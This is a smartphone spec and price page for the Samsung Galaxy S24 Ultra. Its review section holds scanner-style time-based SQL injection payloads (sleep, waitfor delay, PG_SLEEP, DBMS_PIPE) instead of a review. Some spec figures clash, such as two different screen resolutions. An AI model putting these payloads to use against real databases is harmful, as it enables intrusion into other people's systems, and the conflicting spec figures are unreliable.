Samsung Galaxy S24 Ultra

Samsung Galaxy S24 Ultra Specs
The Samsung Galaxy S24 Ultra comes with 6.8-nch Dynamic AMOLED display with 120Hz refresh rate and Qualcomm
| Category | Specification |
|---|---|
| Released | Jan 31, 2024 |
| Display | 6.8 inches 3088 x 1440 pixels 120Hz Refresh rate |
| Camera | 200 MP (Quad camera) 12 MP front |
| Hardware | Qualcomm Snapdragon 8 Gen 3 12GB RAM |
| Storage | 256GB, not expandable |
| Battery | 5000 mAh |
| OS | Android 14 |
Display
| Attribute | Value |
|---|---|
| Size | 6.8 inches |
| Resolution | 3088 x 1440 pixels, 19.5:9 ratio, 501 PPI |
| Technology | Dynamic AMOLED |
| Refresh rate | 120Hz |
| Screen-to-body | 89.12% |
| Peak brightness | 2600 cd/m2 (nit) |
| Features | HDR support, Scratch-resistant glass (Corning Gorilla Glass Armor), Ambient light sensor, Proximity sensor |
Hardware
| Attribute | Value |
|---|---|
| System chip | Qualcomm Snapdragon 8 Gen 3 SM8650-AB (4 nm) |
| Processor | Octa-core, 1x 3.39GHz Cortex-X4 + 5x 3.1GHz Cortex-A720 + 2x 2.2GHz Cortex-A520, 64-bit |
| GPU | Adreno 750 |
| RAM | 12GB |
| Internal storage | 256GB (UFS 4.0), not expandable |
| Device type | Smartphone |
| OS | Android (14) |
BATTERY
| Attribute | Value |
|---|---|
| Capacity | 5000 mAh |
| Type | Li - Ion, Not user replaceable |
| Charging | Fast charging, Qi wireless charging, Reverse wireless charging |
| Max charge speed | Wired: 45.0W; Wireless: 15.0W |
CAMERA
| Attribute | Value |
|---|---|
| Rear | Quad camera |
| Main camera | 200 MP (OIS, Laser and PDAF) |
| Specifications | Aperture size: F1.7; Focal length: 24 mm; Sensor size: 1/1.3"; Pixel size: 0.6 μm |
| Second camera | 50 MP (Telephoto, Periscope, OIS, PDAF) |
| Specifications | Optical zoom: 5.0x; Aperture size: F3.4; Focal Length: 111 mm |
| Third camera | 10 MP (Telephoto, OIS, PDAF) |
| Specifications | Optical zoom: 3.0x; Aperture size: F2.4; Focal Length: 67 mm; Sensor size: 1/3.52"; Pixel size: 1.12 μm |
| Fourth camera | 12 MP (Ultra-wide, PDAF) |
| Specifications | Aperture size: F2.2; Focal Length: 13 mm; Sensor size: 1/2.55"; Pixel size: 1.4 μm |
| Flash | LED |
| Video recording | 7680x4320 (8K UHD) (30 fps), 3840x2160 (4K UHD) (120 fps), 1920x1080 (Full HD) (240 fps) |
| Front | 12 MP |
| Video capture | 3840x2160 (4K UHD) (60 fps) |
DESIGN
| Attribute | Value |
|---|---|
| Dimensions | 6.39 x 3.11 x 0.34 inches (162.3 x 79 x 8.6 mm), thickness with camera 0.37 inches (9.5 mm) |
| Weight | 8.22 oz (233.0 g) |
| Materials | Back: Glass (Corning Gorilla Glass); Frame: Titanium |
| Resistance | Yes; IP68 |
| Biometrics | Ultrasonic in-screen fingerprint |
| Features | Stylus |
| Keys | Right: Volume control, Lock/Unlock key |
| Colors | Titanium Black, Titanium Gray, Titanium Violet, Titanium Yellow, Titanium Blue, Titanium Green, Titanium Orange |
CELULAR
| Attribute | Value |
|---|---|
| 5G | mmWave, 5G Ready |
| Data Speed | LTE-A, HSDPA+ (4G) 42.2 Mbit/s |
| SIM type | Dual Nano SIM + eSIM |
MULTIMEDIA
| Attribute | Value |
|---|---|
| Headphones | No 3.5mm jack |
| Speakers | Earpiece, Multiple speakers |
| Screen mirroring | Wireless screen share |
| Additional microphone(s) | for Noise cancellation |
CONECTIVITY AND FEATURES
| Attribute | Value |
|---|---|
| Bluetooth | 5.3 |
| Wi-Fi | 802.11 a, b, g, n, ac, ax, Wi-Fi 6E, Wi-Fi 7; Wi-Fi Direct, Hotspot |
| USB | Type-C (reversible), USB 3.2 |
| Features | Charging, OTG |
| Location | GPS, A-GPS, Glonass, Galileo, BeiDou, Cell ID, Wi-Fi positioning |
| Sensors | Accelerometer, Gyroscope, Compass, Barometer |
| Other | NFC, Ultra Wideband (UWB) |
PRICE
| Attribute | Value |
|---|---|
| Price in Rs | 399,999 |
| Price in USD | $1223 |
Samsung Galaxy S24 Ultra
Price in Pakistan: Rs. 399,999
Price in USD: $1223
Samsung Galaxy S24 Ultra is Samsung's most awaited smartphone, featuring a massive 6.8-inch dynamic AMOLED 2X capacitive touchscreen display with a resolution of 1440 x 3120 pixels and HDR10+ support. Powered by Qualcomm Snapdragon 8 Gen 3 (4 nm) chipset clocked at 3.39 GHz Octa-Core CPU, it offers seamless performance.
The device comes with a Quad camera setup, including a 200 MP main sensor, 50 MP periscope telephoto lens, 10 MP telephoto lens, and 12 MP ultra-wide lens, offering versatile photography options. It boasts 256GB internal storage, 12GB RAM, and a 5000mAh battery with fast charging support.
With its cutting-edge features and powerful performance, the Samsung Galaxy S24 Ultra is set to compete with its competitors in the smartphone market.
1 Review
555




1
555
1PxGjhn3q
1*1
1*if(now()=sysdate(),sleep(15),0)
10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z
10″XOR(1*if(now()=sysdate(),sleep(15),0))XOR”Z
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
1-1; waitfor delay ‘0:0:15’ —
1-1); waitfor delay ‘0:0:15’ —
1-1 waitfor delay ‘0:0:15’ —
555′”
1-1 OR 971=(SELECT 971 FROM PG_SLEEP(15))–
1-1) OR 960=(SELECT 960 FROM PG_SLEEP(15))–
1-1)) OR 565=(SELECT 565 FROM PG_SLEEP(15))–
1OgsA3J4Y’ OR 774=(SELECT 774 FROM PG_SLEEP(15))–
1thxShcHC’) OR 134=(SELECT 134 FROM PG_SLEEP(15))–
1cFmsMxkF’)) OR 786=(SELECT 786 FROM PG_SLEEP(15))–
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
1
1
1
1
1
1
1
1
1
1
1
1
555